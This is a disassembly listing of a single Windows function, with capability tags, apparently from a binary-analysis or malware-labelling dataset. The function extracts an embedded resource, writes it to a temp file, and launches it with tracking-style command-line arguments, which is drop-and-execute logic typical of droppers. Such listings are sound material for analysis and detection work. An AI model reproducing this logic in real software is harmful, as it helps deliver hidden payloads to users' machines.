Function at 0x4011f0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf60
mov eax, dword [0x41007c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x104
lea ecx, [ebp - 0x61c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x40e0ec
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0xf08]
xor ebx, ebx
push eax
mov dword [ebp - 0xf08], ebx
call fcn.00402993
mov ecx, dword [ebp - 0xf08]
push 2
mov eax, 0xf
push 0xffffffffffffffff
push ecx
mov dword [ebp - 0xe24], eax
mov dword [ebp - 0xe28], ebx
mov byte [ebp - 0xe38], bl
mov dword [ebp - 0xe40], eax
mov dword [ebp - 0xe44], ebx
mov byte [ebp - 0xe54], bl
call fcn.00402a64
add esp, 0x18
mov byte [ebp - 0xf0c], bl
jmp 0x401282
xor ebx, ebx
mov edx, dword [ebp - 0xf08]
push edx
push 1
lea eax, [ebp - 0xf0c]
push 1
push eax
call fcn.00402d2a
add esp, 0x10
cmp eax, 1
jne 0x4012b0
cmp byte [ebp - 0xf0c], 0x40
mov byte [ebp - 0xefd], al
jne 0x4012b6
mov byte [ebp - 0xefd], bl
mov ecx, dword [ebp - 0xf08]
push 1
push 0xfffffffffffffffe
push ecx
call fcn.00402a64
add esp, 0xc
cmp byte [ebp - 0xefd], bl
je 0x4013b0
cmp byte [ebp - 0xf0c], bl
je 0x401282
lea edx, [ebp - 0xe38]
push edx
or eax, 0xffffffff
xor ebx, ebx
lea ecx, [ebp - 0xe54]
call fcn.00401920
mov ecx, dword [ebp - 0xf0c]
lea eax, [ebp - 0xe54]
push eax
push ecx
lea edx, [ebp - 0xefc]
push edx
call fcn.00401e60
mov esi, eax
lea eax, [ebp - 0xe38]
add esp, 0xc
cmp eax, esi
je 0x40138f
cmp dword [ebp - 0xe24], 0x10
jb 0x401335
mov ecx, dword [ebp - 0xe38]
push ecx
call fcn.004023ba
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov dword [ebp - 0xe24], edi
mov dword [ebp - 0xe28], ebx
mov byte [ebp - 0xe38], bl
cmp dword [esi + 0x14], 0x10
jae 0x40136b
mov edx, dword [esi + 0x10]
inc edx
push edx
lea eax, [ebp - 0xe38]
push esi
push eax
call fcn.004023d0
add esp, 0xc
jmp 0x401375
mov ecx, dword [esi]
mov dword [ebp - 0xe38], ecx
mov dword [esi], ebx
mov edx, dword [esi + 0x10]
mov dword [ebp - 0xe28], edx
mov eax, dword [esi + 0x14]
mov dword [ebp - 0xe24], eax
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
mov byte [esi], bl
cmp dword [ebp - 0xee8], 0x10
jb 0x401280
mov ecx, dword [ebp - 0xefc]
push ecx
call fcn.004023ba
add esp, 4
jmp 0x401280
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov edi, 2
mov eax, 0x40e0f4
mov dword [ebp - 0xf04], esp
mov byte [esi], bl
call fcn.00401a00
lea edx, [ebp - 0xe38]
lea ecx, [ebp - 0xee0]
call fcn.004010c0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov edi, 3
mov eax, 0x40e0f8
mov dword [ebp - 0xf04], esp
mov byte [esi], bl
call fcn.00401a00
lea edx, [ebp - 0xe38]
lea ecx, [ebp - 0xea8]
call fcn.004010c0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov eax, 0x40e0fc
mov dword [ebp - 0xf04], esp
mov byte [esi], bl
call fcn.00401a00
lea edx, [ebp - 0xe38]
lea ecx, [ebp - 0xe8c]
call fcn.004010c0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov eax, 0x40e100
mov dword [ebp - 0xf04], esp
mov byte [esi], bl
call fcn.00401a00
lea edx, [ebp - 0xe38]
lea ecx, [ebp - 0xe70]
call fcn.004010c0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov eax, 0x40e104
mov dword [ebp - 0xf04], esp
mov byte [esi], bl
call fcn.00401a00
lea edx, [ebp - 0xe38]
lea ecx, [ebp - 0xec4]
call fcn.004010c0
add esp, 0x1c
push 0x40e108
push 0x82
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [ebp - 0x414]
push edx
push 0x104
mov dword [ebp - 0xf04], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x20c]
push eax
push ebx
push 0x40e110
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x40e118
lea edx, [ebp - 0x20c]
push edx
call fcn.0040297c
mov esi, eax
mov eax, dword [ebp - 0xf04]
push esi
push 1
push eax
push edi
call fcn.00402e9e
push esi
call fcn.00402f85
push 0x400
lea ecx, [ebp - 0xe1c]
push ebx
push ecx
call fcn.00405010
mov esi, dword [ebp - 0xec4]
mov edi, 0x10
add esp, 0x28
cmp dword [ebp - 0xeb0], edi
jae 0x401560
lea esi, [ebp - 0xec4]
cmp dword [ebp - 0xe5c], edi
jb 0x401576
mov edx, dword [ebp - 0xe70]
mov dword [ebp - 0xf04], edx
jmp 0x401582
lea eax, [ebp - 0xe70]
mov dword [ebp - 0xf04], eax
mov edx, dword [ebp - 0xea8]
cmp dword [ebp - 0xe94], edi
jae 0x401596
lea edx, [ebp - 0xea8]
mov ecx, dword [ebp - 0xe8c]
cmp dword [ebp - 0xe78], edi
jae 0x4015aa
lea ecx, [ebp - 0xe8c]
mov eax, dword [ebp - 0xee0]
cmp dword [ebp - 0xecc], edi
jae 0x4015be
lea eax, [ebp - 0xee0]
push esi
mov esi, dword [ebp - 0xf04]
push esi
push edx
push ecx
push eax
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0xe1c]
push str._s__br_S__pio_S__uid_S__cid_S__rnd_S
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x44
lea eax, [ebp - 0xf60]
push ebx
push eax
call fcn.00405010
add esp, 0x2c
lea ecx, [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0xf60]
push edx
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0xe1c]
push eax
push ebx
mov dword [ebp - 0xf1c], ebx
mov dword [ebp - 0xf18], ebx
mov dword [ebp - 0xf14], ebx
mov dword [ebp - 0xf10], ebx
mov dword [ebp - 0xf60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 0xf1c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0xf1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0xf18]
push eax
call esi
mov ecx, dword [ebp - 0xf08]
push ecx
call fcn.00402f85
add esp, 4
cmp dword [ebp - 0xeb0], edi
jb 0x401687
mov edx, dword [ebp - 0xec4]
push edx
call fcn.004023ba
add esp, 4
mov esi, 0xf
mov dword [ebp - 0xeb0], esi
mov dword [ebp - 0xeb4], ebx
mov byte [ebp - 0xec4], bl
cmp dword [ebp - 0xe5c], edi
jb 0x4016b5
mov eax, dword [ebp - 0xe70]
push eax
call fcn.004023ba
add esp, 4
mov dword [ebp - 0xe5c], esi
mov dword [ebp - 0xe60], ebx
mov byte [ebp - 0xe70], bl
cmp dword [ebp - 0xe78], edi
jb 0x4016de
mov ecx, dword [ebp - 0xe8c]
push ecx
call fcn.004023ba
add esp, 4
mov dword [ebp - 0xe78], esi
mov dword [ebp - 0xe7c], ebx
mov byte [ebp - 0xe8c], bl
cmp dword [ebp - 0xe94], edi
jb 0x401707
mov edx, dword [ebp - 0xea8]
push edx
call fcn.004023ba
add esp, 4
mov dword [ebp - 0xe94], esi
mov dword [ebp - 0xe98], ebx
mov byte [ebp - 0xea8], bl
cmp dword [ebp - 0xecc], edi
jb 0x401730
mov eax, dword [ebp - 0xee0]
push eax
call fcn.004023ba
add esp, 4
mov dword [ebp - 0xecc], esi
mov dword [ebp - 0xed0], ebx
mov byte [ebp - 0xee0], bl
cmp dword [ebp - 0xe40], edi
jb 0x401759
mov ecx, dword [ebp - 0xe54]
push ecx
call fcn.004023ba
add esp, 4
mov dword [ebp - 0xe40], esi
mov dword [ebp - 0xe44], ebx
mov byte [ebp - 0xe54], bl
cmp dword [ebp - 0xe24], edi
jb 0x401782
mov edx, dword [ebp - 0xe38]
push edx
call fcn.004023ba
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402270
mov esp, ebp
pop ebp
ret 0x10